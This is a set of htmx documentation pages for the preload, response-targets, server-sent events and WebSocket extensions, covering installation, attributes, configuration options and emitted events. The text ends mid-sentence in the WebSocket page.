# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/preload.md

+++
title = "htmx Preload Extension"
+++

The `preload` extension allows you to load HTML fragments into your browser's cache before they are requested by the
user, so that additional pages appear to users to load nearly instantaneously. As a developer, you can customize its
behavior to fit your applications needs and use cases.

**IMPORTANT:** Preloading content judiciously can improve your web application's perceived performance, but preloading
too many resources can negatively impact your visitors' bandwidth and your server performance by initiating too many
unused requests. Use this extension carefully!

## Installing

The fastest way to install `preload` is to load it via a CDN. Remember to always include the core htmx library before the extension and [enable the extension](#usage).
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-preload@2.1.2" integrity="sha384-PRIcY6hH1Y5784C76/Y8SqLyTanY9rnI3B8F3+hKZFNED55hsEqMJyqWhp95lgfk" crossorigin="anonymous"></script>
</head>
<body hx-ext="preload">
...
```
An unminified version is also available at https://cdn.jsdelivr.net/npm/htmx-ext-preload/dist/preload.js.

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `preload` is to simply copy it into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-preload`, add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install `preload` via [npm](https://www.npmjs.com/):
```shell
npm install htmx-ext-preload
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-preload/dist/preload.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-preload` via npm
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-preload`; 
```

## Usage

Register the extension with htmx using the `hx-ext` attribute. Then, add a `preload` attribute to any hyperlinks
and `hx-get` elements you want to preload. By default, resources will be loaded as soon as the `mousedown` event begins,
giving your application a roughly 100-200ms head start on serving responses. See configuration below for other options.

```html
<body hx-ext="preload">
<h1>What Works</h2>
    <a href="/server/1" preload>WILL BE requested using a standard XMLHttpRequest() and default options (below)</a>
    <button hx-get="/server/2" preload>WILL BE requested with additional htmx headers.</button>

    <h1>What WILL NOT WORK</h1>
    <a href="/server/3">WILL NOT be preloaded because it does not have an explicit "preload" attribute</a>
    <a hx-post="/server/4" preload>WILL NOT be preloaded because it is an HX-POST transaction.</a>
</body>
```

All preload requests include an additional `"HX-Preloaded": "true"` header.

### Inheriting Preload Settings

You can add the `preload` attribute to the top-level element that contains several `<a href="">` or `hx-get=""`
elements, and all of them will be preloaded. Be careful with this setting, because you can end up wasting bandwidth if
you preload many more resources than you need.

```html

<body hx-ext="preload">
<ul preload>
    <li><a href="/server/1">This will be preloaded because of the attribute in the node above.</a>
    <li><a href="/server/2">This will also be preloaded for the same reason.</a>
    <li><a href="/server/3">This will be preloaded, too. Lorem ipsum.</a>
</ul>
</body>
```

### Preloading Forms

The extension can preload some form elements if the form includes `hx-get` attribute or uses `method="get"`. The `preload` attribute can be added to the form or to some of its selected elements. Currently these form elements can be preloaded:
- `<input type="radio>">` will be preloaded as if the radio button was clicked and form submitted
- `<input type="checkbox">` will be preloaded as if the checkbox was checked and form submitted
- `<input type="checkbox" checked>` will be preloaded as if the checkbox was unchecked and form submitted
- `<select>` will send multiple preload requests as if each unselected option was selected and form submitted
- `<input type="submit">` will be preloaded as if form was submitted

### Preloading of Linked Images

After an HTML page (or page fragment) is preloaded, this extension can also preload linked image resources. It will not
load or run linked Javascript or Cascading Stylesheet content, whether linked or embedded in the preloaded HTML. To
preload images as well, use the following syntax.

```html

<div hx-ext="preload">
    <a href="/my-next-page" preload="mouseover" preload-images="true">Next Page</a>
</div>
```

### Configuration

Defaults for this extension are chosen to balance users' perceived performance with potential load on your servers from
unused requests. As a developer, you can modify two settings to customize this behavior to your specific use cases.

#### preload="mousedown" (DEFAULT)

The default behavior for this extension is to begin loading a resource when the user presses the mouse down. This is a
conservative setting that guarantees the user actually intends to use the linked resource. Because user click events
typically take 100-200ms to complete, this setting gives your server a significant headstart compared with a regular
click.

```html
<a href="/server/1" preload="mousedown">This will be preloaded when the user begins to click.</a>
```

#### preload="mouseover"

To preload links more aggressively, you can trigger the preload to happen when the user's mouse hovers over the link
instead. To prevent many resources from being loaded when the user scrolls or moves the mouse across a large list of
objects, a 100ms delay is built in to this action. If the user's mouse leaves the element *before* this timeout expires,
then the resource is not preloaded.

Typical users hover over links for several hundred milliseconds before they click, which gives your server even more
time to respond to the request than the `mousedown` option
above.  [Test your own hover timing here.](http://instantclick.io/click-test). However, be careful when using this
option because it can increase server load by requesting resources unnecessarily.

```html
<a href="/server/1" preload="mouseover">This will be preloaded when the user's mouse remains over it for more than
    100ms.</a>
```

#### preload="custom-event-name"

Preload can also listen to any custom event within the system, triggering resources to be preloaded (if they have not
already been cached by the browser). The extension itself generates an event called `preload:init` that can be used to
trigger preloads as soon as an object has been processed by htmx.

```html

<body hx-ext="preload">
<button hx-get="/server" preload="preload:init" hx-target="idLoadMore">Load More</a>
    <div id="idLoadMore">
        Content for this DIV will be preloaded as soon as the page is ready.
        Clicking the button above will swap it into the DOM.
    </div>
</body>
```

#### preload="always"

By default, the extension will preload each element once.
If you would like to keep always preloading the element, you can add `preload="always"` attribute.
This can be useful if `hx-target` is not the element itself.
This attribute can be combined with other configuration attributes e.g. `preload="always mouseover"`.

### About Touch Events

To accommodate touchscreen devices, an additional `ontouchstart` event handler is added whenever you specify
a `mouseover` or `mousedown` trigger. This extra trigger fires immediately (no waiting period) whenever the user touches
the screen, saving you 300ms of waiting time on Android, and 450ms on iOS.

### Limitations

* Links must be marked with a `preload` attribute, or have an ancestor node that has the `preload` attribute.
* Only `GET` transactions (including `<a href="">` and `hx-get=""`) can be preloaded. Following REST principles, `GET`
  transactions are assumed to not make any significant changes to a resource. Transactions that can potentially make a
  change (such as `POST`, `PUT`, and `DELETE`) will not be preloaded under any circumstances.
* When listening to `mouseover` events, preload waits for 100ms before downloading the linked resource. If the mouse
  leaves the resource before this timeout expires, the resource is not preloaded.
* Preloaded responses will only be cached in the browser if the response headers allow it. For example, the response
  header `Cache-Control: private, max-age=60` allows the browser to cache the response,
  whereas `Cache-Control: no-cache` prevents it.

## Credits

The behavior for this plugin was inspired by the work done by [Alexandre Dieulot](https://github.com/dieulot)
on [InstantClick](http://instantclick.io/), which is released under the MIT license.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/response-targets.md

+++
title = "htmx Response Targets Extension"
+++


This extension allows you to specify different target elements to be swapped when
different HTTP response codes are received.

It uses attribute names in a form of ``hx-target-[CODE]`` where `[CODE]` is a numeric
HTTP response code with the optional wildcard character at its end. You can also use
`hx-target-error`, which handles both 4xx and 5xx response codes.

The value of each attribute can be:

* A CSS query selector of the element to target.
* `this` which indicates that the element that the `hx-target` attribute is on is the target.
* `closest <CSS selector>` which will find the closest parent ancestor that matches the given CSS selector
(e.g. `closest tr` will target the closest table row to the element).
* `find <CSS selector>` which will find the first child descendant element that matches the given CSS selector.
* `next <CSS selector>` which will scan the DOM forward for the first element that matches the given CSS selector.
(e.g. `next .error` will target the closest following sibling element with `error` class)
* `previous <CSS selector>` which will scan the DOM backwards for the first element that matches the given CSS selector.
(e.g `previous .error` will target the closest previous sibling with `error` class)

## Installing

The fastest way to install `response-targets` is to load it via a CDN. Remember to always include the core htmx library before the extension and [enable the extension](#usage).
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-response-targets@2.0.4" integrity="sha384-T41oglUPvXLGBVyRdZsVRxNWnOOqCynaPubjUVjxhsjFTKrFJGEMm3/0KGmNQ+Pg" crossorigin="anonymous"></script>
</head>
<body hx-ext="response-targets">
...
```
An unminified version is also available at https://cdn.jsdelivr.net/npm/htmx-ext-response-targets/dist/response-targets.js.

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `response-targets` is to simply copy it into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-response-targets`, add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install `response-targets` via [npm](https://www.npmjs.com/):
```shell
npm install htmx-ext-response-targets
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-response-targets/dist/response-targets.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-response-targets` via npm
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-response-targets`; 
```

## Configure (optional)

* When `HX-Retarget` response header is received it disables any lookup that would be
performed by this extension but any responses with error status codes will be
swapped (normally they would not be, even with target set via header) and internal
error flag (`isError`) will be modified. You may change this and choose to ignore
`HX-Retarget` header when `hx-target-…` is in place by setting a configuration flag
`htmx.config.responseTargetPrefersRetargetHeader` to `false` (default is
`true`). Note that this extension only performs a simple check whether the header
is set and target exists. It is not extracting target's value from the header but
trusts it was set by HTMX core logic.

* Normally, any target which is already established by HTMX built-in functions or
extensions called before will be overwritten if a matching `hx-target-…` tag is
found. You may change it by using a configuration flag
`htmx.config.responseTargetPrefersExisting` to `true` (default is `false`). This is
kinky and risky option. It has a real-life applications similar to a skilled,
full-stack tardigrade eating parentheses when no one is watching.

* `isError` flag on the `detail` member of an event associated with swapping the
content with `hx-target-[CODE]` will be set to `false` when error response code is
received. This is different from the default behavior. You may change this by
setting a configuration flag `htmx.config.responseTargetUnsetsError` to `false`
(default is `true`).

* `isError` flag on the `detail` member of an event associated with swapping the
content with `hx-target-[CODE]` will be set to `false` when non-erroneous response
code is received. This is no different from the default behavior. You may change
this by setting a configuration flag `htmx.config.responseTargetSetsError` to
`true` (default is `false`). This setting will not affect the response code 200
since it is not handled by this extension.

## Usage

Here is an example that targets a `div` for normal (200) response but another `div`
for 404 (not found) response, and yet another for all 5xx response codes:

```html
<div hx-ext="response-targets">
<div id="response-div"></div>
<button hx-post="/register"
hx-target="#response-div"
hx-target-5*="#serious-errors"
hx-target-404="#not-found">
Register!
</button>
<div id="serious-errors"></div>
<div id="not-found"></div>
</div>
```

* The response from the `/register` URL will replace contents of the `div` with the
`id` `response-div` when response code is 200 (OK).

* The response from the `/register` URL will replace contents of the `div` with the `id`
`serious-errors` when response code begins with a digit 5 (server errors).

* The response from the `/register` URL will replace contents of the `div` with
the `id` `not-found` when response code is 404 (Not Found).

Sometimes you may not want to handle 5xx and 4xx errors separately, in which case you
can use `hx-target-error`:

```html
<div hx-ext="response-targets">
<div id="response-div"></div>
<button hx-post="/register"
hx-target="#response-div"
hx-target-error="#any-errors">
Register!
</button>
<div id="any-errors"></div>
</div>
```

2xx codes will be handled as in the previous example. However, when the response code is 5xx
or 4xx, the response from `/register` will replace the contents of the `div` with the `id`
`any-errors`.

## Wildcard resolution

When status response code does not match existing `hx-target-[CODE]` attribute name
then its numeric part expressed as a string is trimmed with last character being
replaced with the asterisk (`*`). This lookup process continues until the attribute
is found or there are no more digits.

For example, if a browser receives 404 error code, the following attribute names will
be looked up (in the given order):

* `hx-target-404`
* `hx-target-40*`
* `hx-target-4*`
* `hx-target-*`.


_If you are using tools that do not support asterisks in HTML attributes, you
may instead use the `x` character, e.g., `hx-target-4xx`._

## Notes

* `hx-target-…` is inherited and can be placed on a parent element.
* `hx-target-…` cannot be used to handle HTTP response code 200.
* `hx-target-…` will honor `HX-Retarget` by default and will prefer it over any
calculated target but it can be changed by disabling the
`htmx.config.responseTargetPrefersRetargetHeader` configuration option.
* To avoid surprises the `hx-ext` attribute used to enable this extension should be
placed on a parent element containing elements with `hx-target-…` and `hx-target`
attributes.

## See also

* [`hx-target`](https://htmx.org/attributes/hx-target), specifies the target element to be swapped

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/sse.md

+++
title = "htmx Server Sent Event (SSE) Extension"
+++

The `Server Sent Events` extension connects to
an [EventSource](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events) directly
from HTML. It manages the connections to your web server, listens for server events, and then swaps their contents into
your htmx webpage in real-time.

SSE is a lightweight alternative to WebSockets that works over existing HTTP connections, so it is easy to use through
proxy servers and firewalls. Remember, SSE is a uni-directional service, so you cannot send any messages to an SSE
server once the connection has been established. If you need bi-directional communication, then you should consider
using [WebSockets](@/extensions/ws.md) instead.

This extension replaces the experimental `hx-sse` attribute built into previous versions of htmx. For help migrating
from older versions, see the migration guide at the bottom of this page.

Use the following attributes to configure how SSE connections behave:

* `sse-connect="<url>"` - The URL of the SSE server.
* `sse-swap="<message-name>"` - The name of the message to swap into the DOM.
* `hx-trigger="sse:<message-name>"` - SSE messages can also trigger HTTP callbacks using
  the [`hx-trigger`](https://htmx.org/attributes/hx-trigger) attribute.
* `sse-close=<message-name>` - To close the EventStream gracefully when that message is received. This might be helpful
  if you want to send information to a client that will eventually stop.

## Installing

The fastest way to install `sse` is to load it via a CDN. Remember to always include the core htmx library before the extension and [enable the extension](#usage).
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-sse@2.2.4" integrity="sha384-A986SAtodyH8eg8x8irJnYUk7i9inVQqYigD6qZ9evobksGNIXfeFvDwLSHcp31N" crossorigin="anonymous"></script>
</head>
<body hx-ext="sse">
```
An unminified version is also available at https://cdn.jsdelivr.net/npm/htmx-ext-sse/dist/sse.js.

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `sse` is to simply copy it into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-sse`, add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install `sse` via [npm](https://www.npmjs.com/):
```shell
npm install htmx-ext-sse
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-sse/dist/sse.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-sse` via npm
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-sse`; 
```

## Usage

```html

<div hx-ext="sse" sse-connect="/chatroom" sse-swap="message">
    Contents of this box will be updated in real time
    with every SSE message received from the chatroom.
</div>
```

### Connecting to an SSE Server

To connect to an SSE server, use the `hx-ext="sse"` attribute to install the extension on that HTML element, then
add `sse-connect="<url>"` to the element to make the connection.

When designing your server application, remember that SSE works just like any HTTP request. Although you cannot send any
messages to the server after you have established a connection, you can send parameters to the server along with your
request. So, instead of making an SSE connection to your server at `https://my-server/chat-updates` you can also connect
to `https://my-server/chat-updates?friends=true&format=detailed`. This allows your server to customize its responses to
what your client needs.

### Receiving Named Events

SSE messages consist of an event name and a data packet. No other metadata is allowed in the message. Here is an
example:

```txt
event: EventName
data: <div>Content to swap into your HTML page.</div>
```

We'll use the `sse-swap` attribute to listen for this event and swap its contents into our webpage.

```html

<div hx-ext="sse" sse-connect="/event-source" sse-swap="EventName"></div>
```

Notice that the name `EventName` from the server's message must match the value in the `sse-swap` attribute. Your server
can use as many different event names as necessary, but be careful: browsers can only listen for events that have been
explicitly named. So, if your server sends an event named `ChatroomUpdate` but your browser is only listening for events
named `ChatUpdate` then the extra event will be discarded.

### Receiving Unnamed Events

SSE messages can also be sent without any event name. In this case, the browser uses the default name `message` in its
place. The same rules specified above still apply. If your server sends an unnamed message, then you must listen for it
by including `sse-swap="message"`. There is no option for using a catch-all name. Here's how this looks:

```txt
data: <div>Content to swap into your HTML page.</div>
```

```html

<div hx-ext="sse" sse-connect="/event-source" sse-swap="message"></div>
```

### Receiving Multiple Events

You can also listen to multiple events (named or unnamed) from a single EventSource. Listeners must be either 1) the
same element that contains the `hx-ext` and `sse-connect` attributes, or 2) child elements of the element containing
the `hx-ext` and `sse-connect` attributes.

```html

Multiple events in the same element
<div hx-ext="sse" sse-connect="/server-url" sse-swap="event1,event2"></div>

Multiple events in different elements (from the same source).
<div hx-ext="sse" sse-connect="/server-url">
    <div sse-swap="event1"></div>
    <div sse-swap="event2"></div>
</div>
```

### Trigger Server Callbacks

When a connection for server sent events has been established, child elements can listen for these events by using the
special [`hx-trigger`](https://htmx.org/attributes/hx-trigger) syntax `sse:<event_name>`. This, when combined with
an `hx-get` or similar will trigger the element to make a request.

Here is an example:

```html

<div hx-ext="sse" sse-connect="/event_stream">
    <div hx-get="/chatroom" hx-trigger="sse:chatter">
        ...
    </div>
</div>
```

This example establishes an SSE connection to the `event_stream` end point which then triggers
a `GET` to the `/chatroom` url whenever the `chatter` event is seen.

### Automatic Reconnection

If the SSE Event Stream is closed unexpectedly, browsers are supposed to attempt to reconnect automatically. However, in
rare situations this does not work and your browser can be left hanging. This extension adds its own reconnection
logic (using an [exponential-backoff algorithm](https://en.wikipedia.org/wiki/Exponential_backoff)) on top of the
browser's automatic reconnection, so that your SSE streams will always be as reliable as possible.

### Testing SSE Connections with the Demo Server

Htmx includes a demo SSE server written in Node.js that will help you to see SSE in action, and begin bootstrapping your
own SSE code. It is located in the /test/ws-sse folder of
the [`htmx-extensions`](https://github.com/bigskysoftware/htmx-extensions) repository. Look at /test/ws-sse/README.md
for instructions on running and using the test server.

### Migrating from Previous Versions

Previous versions of htmx used a built-in tag `hx-sse` to implement Server Sent Events. This code has been migrated into
an extension instead. Here are the steps you need to take to migrate to this version:

| Old Attribute                  | New Attribute            | Comments                                                                                                                                                                                        |
|--------------------------------|--------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `hx-sse=""`                    | `hx-ext="sse"`           | Use the `hx-ext="sse"` attribute to install the SSE extension into any HTML element.                                                                                                            |
| `hx-sse="connect:<url>"`       | `sse-connect="<url>"`    | Add a new attribute `sse-connect` to the tag that specifies the URL of the Event Stream.  This attribute must be in the same tag as the `hx-ext` attribute.                                     |
| `hx-sse="swap:<EventName>"`    | `sse-swap="<EventName>"` | Add a new attribute `sse-swap` to any elements that will be swapped in via the SSE extension.  This attribute must be placed **on** or **inside of** the tag containing the `hx-ext` attribute. |
| `hx-trigger="sse:<EventName>"` | NO CHANGE                | any `hx-trigger` attributes do not need to change.  The extension will identify these attributes and add listeners for any events prefixed with `sse:`                                          |

### Listening to events dispatched by this extension

This extension dispatches several events. You can listen for these events like so:

```javascript
document.body.addEventListener('htmx:sseBeforeMessage', function (e) {
    // do something before the event data is swapped in
})
```

Each event object has a `detail` field that contains details of the event.

#### `htmx:sseOpen`

This event is dispatched when an SSE connection has been successfully established.

##### Details

* `detail.elt` - The element on which the SSE connection was setup. This is the element which has the `sse-connect`
  attribute.
* `detail.source` - The [EventSource](https://developer.mozilla.org/en-US/docs/Web/API/EventSource) object.

#### `htmx:sseError`

This event is dispatched when an SSE connection could not be established.

##### Details

* `detail.error` - The error that occurred while creating
  an [EventSource](https://developer.mozilla.org/en-US/docs/Web/API/EventSource).
* `detail.source` - The [EventSource](https://developer.mozilla.org/en-US/docs/Web/API/EventSource).

#### `htmx:sseBeforeMessage`

This event is dispatched just before the SSE event data is swapped into the DOM. If you don't want to swap
call `preventDefault()` on the event. Additionally the `detail` field is
a [MessageEvent](https://developer.mozilla.org/en-US/docs/Web/API/EventSource/message_event) - this is the event created
by [EventSource](https://developer.mozilla.org/en-US/docs/Web/API/EventSource) when it receives an SSE message.

##### Details

* `detail.elt` - The swap target.

#### `htmx:sseMessage`

This event is dispatched after the SSE event data has been swapped into the DOM. The `detail` field is
a [MessageEvent](https://developer.mozilla.org/en-US/docs/Web/API/EventSource/message_event) - this is the event created
by [EventSource](https://developer.mozilla.org/en-US/docs/Web/API/EventSource) when it receives an SSE message.

#### `htmx:sseClose`

This event is dispatched in three different closing scenario. To control for the scenario the user can control for the
evt.detail.sseclose property.

```javascript
document.body.addEventListener('htmx:sseClose', function (e) {
    const reason = e.detail.type
    switch (reason) {
        case "nodeMissing":
            // Parent node is missing and therefore connection was closed
        ...
        case "nodeReplaced":
            // Parent node replacement caused closing of connection
        ...
        case "message":
            // connection was closed due to reception of message sse-close
        ...
    }
})
```

##### Details

* `detail.elt` - The swap target.

### Additional SSE Resources

* [Wikipedia](https://en.wikipedia.org/wiki/Server-sent_events)
* [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events)
* [Can I Use?](https://caniuse.com/eventsource)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/ws.md

+++
title = "htmx Web Socket extension"
+++

The Web Sockets extension enables easy, bi-directional communication
with [Web Sockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications)
servers directly from HTML. This replaces the experimental `hx-ws` attribute built into previous versions of htmx. For
help migrating from older versions, see the [Migrating](#migrating-from-previous-versions) guide at the bottom of this
page.

Use the following attributes to configure how WebSockets behave:

* `ws-connect="<url>"` or `ws-connect="<prefix>:<url>"` - A URL to establish a `WebSocket` connection against.
* Prefixes `ws` or `wss` can optionally be specified. If not specified, HTMX defaults to adding the location's
  scheme-type,
  host and port to have browsers send cookies via websockets.
* `ws-send` - Sends a message to the nearest websocket based on the trigger value for the element (either the natural
  event
  or the event specified by [`hx-trigger`])

## Installing

The fastest way to install `ws` is to load it via a CDN. Remember to always include the core htmx library before the extension and [enable the extension](#usage).
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-ws@2.0.4" integrity="sha384-1RwI/nvUSrMRuNj7hX1+27J8XDdCoSLf0EjEyF69nacuWyiJYoQ/j39RT1mSnd2G" crossorigin="anonymous"></script>
</head>
<body hx-ext="ws">
```
An unminified version is also available at https://cdn.jsdelivr.net/npm/htmx-ext-ws/dist/ws.js.

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `ws` is to simply copy it into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-ws`, add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install `ws` via [npm](https://www.npmjs.com/):
```shell
npm install htmx-ext-ws
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-ws/dist/ws.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-ws` via npm
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-ws`; 
```

## Usage

```html

<div hx-ext="ws" ws-connect="/chatroom">
    <div id="notifications"></div>
    <div id="chat_room">
        ...
    </div>
    <form id="form" ws-send>
        <input name="chat_message">
    </form>
</div>
```

### Configuration

WebSockets extension support two configuration options:

- `createWebSocket` - a factory function that can be used to create a custom WebSocket instances. Must be a function,
  returning `WebSocket` object
- `wsBinaryType` - a string value, that defines
  socket's [`binaryType`](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket/binaryType) property. Default value
  is `blob`

### Receiving Messages from a WebSocket

The example above establishes a WebSocket to the `/chatroom` end point. Content that is sent down from the websocket
will
be parsed as HTML and swapped in by the `id` property, using the same logic
as [Out of Band Swaps](https://htmx.org/attributes/hx-swap-oob/).

As such, if you want to change the swapping method (e.g., append content at the end of an element or delegate swapping
to an extension),
you need to specify that in the message body, sent by the server.

```html
<!-- will be interpreted as hx-swap-oob="true" by default -->
<form id="form">
    ...
</form>
<!-- will be appended to #notifications div -->
<div id="notifications" hx-swap-oob="beforeend">
    New message received
</div>
<!-- will be swapped using an extension -->
<div id="chat_room" hx-swap-oob="morphdom">
    ....
</div>
```

### Sending Messages to a WebSocket

In the example above, the form uses the `ws-send` attribute to indicate that when it is submitted, the form values
should be **serialized as JSON**
and send to the nearest enclosing `WebSocket`, in this case the `/chatroom` endpoint.

The serialized values will include a field, `HEADERS`, that includes the headers normally submitted with an htmx
request.

### Automatic Reconnection

If the WebSocket is closed unexpectedly, due to `Abnormal Closure`, `Service Restart` or `Try Again Later`, this
extension will attempt to reconnect until the connection is reestablished.

By default, the extension uses a
full-jitter [exponential-backoff algorithm](https://en.wikipedia.org/wiki/Exponential_backoff) that chooses a randomized
retry delay that grows exponentially over time. You can use a different algorithm by writing it
into `htmx.config.wsReconnectDelay`. This function takes a single parameter, the number of retries, and returns the
time (in milliseconds) to wait before trying again.

```javascript
// example reconnect delay that you shouldn't use because
// it's not as good as the algorithm that's already in place
htmx.config.wsReconnectDelay = function (retryCount) {
    return retryCount * 1000 // return value in milliseconds
}
```

The extension also implements a simple queuing mechanism that keeps messages in memory when the socket is not in `OPEN`
state and sends them once the connection is restored.

### Events

WebSockets extensions exposes a set of events that allow you to observe and customize its behavior.

#### Event - `htmx:wsConnecting` {#htmx:wsConnecting}

This event is triggered when a connection to a WebSocket endpoint is being attempted.

##### Details

* `detail.event.type` - the type of the event (`'connecting'`)

#### Event - `htmx:wsOpen` {#htmx:wsOpen}

This event is triggered when a connection to a WebSocket endpoint has been established.

##### Details

* `detail.elt` - the element that holds the socket (the one with `ws-connect` attribute)
* `detail.event` - the original event from the socket
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsClose` {#htmx:wsClose}

This event is triggered when a connection to a WebSocket endpoint has been closed normally.
You can check if the event was caused by an error by inspecting `detail.event` property.

##### Details

* `detail.elt` - the element that holds the socket (the one with `ws-connect` attribute)
* `detail.event` - the original event from the socket
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsError` {#htmx:wsError}

This event is triggered when `onerror` event on a socket is raised.

##### Details

* `detail.elt` - the element that holds the socket (the one with `ws-connect` attribute)
* `detail.error` - the error object
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsBeforeMessage` {#htmx:wsBeforeMessage}

This event is triggered when a message has just been received by a socket, similar to `htmx:beforeOnLoad`. This event
fires
before any processing occurs.

If the event is cancelled, no further processing will occur.

* `detail.elt` - the element that holds the socket (the one with `ws-connect` attribute)
* `detail.message` - raw message content
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsAfterMessage` {#htmx:wsAfterMessage}

This event is triggered when a message has been completely processed by htmx and all changes have been
settled, similar to `htmx:afterOnLoad`.

Cancelling this event has no effect.

* `detail.elt` - the element that holds the socket (the one with `ws-connect` attribute)
* `detail.message` - raw message content
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsConfigSend` {#htmx:wsConfigSend}

This event is triggered when preparing to send a message from `ws-send` element.
Similarly to [`htmx:configRequest`](https://htmx.org/events#htmx:configRequest), it allows you to modify the message
before sending.

If the event is cancelled, no further processing will occur and no messages will be sent.

##### Details

* `detail.parameters` - the parameters that will be submitted in the request
* `detail.unfilteredParameters` - the parameters that were found before filtering
  by [`hx-params`](https://htmx.org/attributes/hx-params)
* `detail.headers` - the request headers. Will be attached to the body in `HEADERS` property, if not falsy
* `detail.errors` - validation errors. Will prevent sending and
  trigger [`htmx:validation:halted`](https://htmx.org/events#htmx:validation:halted) event if not empty
* `detail.triggeringEvent` - the event that triggered sending
* `detail.messageBody` - raw message body that will be sent to the socket. Undefined, can be set to value of any type,
  supported by WebSockets. If set, will override
  default JSON serialization. Useful, if you want to use some other format, like XML or MessagePack
* `detail.elt` - the element that dispatched the sending (the one with `ws-send` attribute)
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsBeforeSend` {#htmx:wsBeforeSend}

This event is triggered just before sending a message. This includes messages from the queue.
Message can not be modified at this point.

If the event is cancelled, the message will be discarded from the queue and not sent.

##### Details

* `detail.elt` - the element that dispatched the request (the one with `ws-connect` attribute)
* `detail.message` - the raw message content
* `detail.socketWrapper` - the wrapper around socket object

#### Event - `htmx:wsAfterSend` {#htmx:wsAfterSend}

This event is triggered just after sending a message. This includes messages from the queue.

Cancelling the event has no effect.

##### Details

* `detail.elt` - the element that dispatched the request (the one with `ws-connect` attribute)
* `detail.message` - the raw message content
* `detail.socketWrapper` - the wrapper around socket object

#### Socket wrapper

You may notice that all events expose `detail.socketWrapper` property. This wrapper holds the socket
object itself and the message queue. It also encapsulates reconnection algorithm. It exposes a few members:

- `send(message, fromElt)` - sends a message safely. If the socket is not open, the message will be persisted in the
  queue
  instead and sent when the socket is ready.
- `sendImmediately(message, fromElt)` - attempts to send a message regardless of socket state, bypassing the queue. May
  fail
- `queue` - an array of messages, awaiting in the queue.

This wrapper can be used in your event handlers to monitor and manipulate the queue (e.g., you can reset the queue when
reconnecting), and to send additional messages (e.g., if you want to send data in batches).
The `fromElt` parameter is optional and, when specified, will trigger corresponding websocket events from
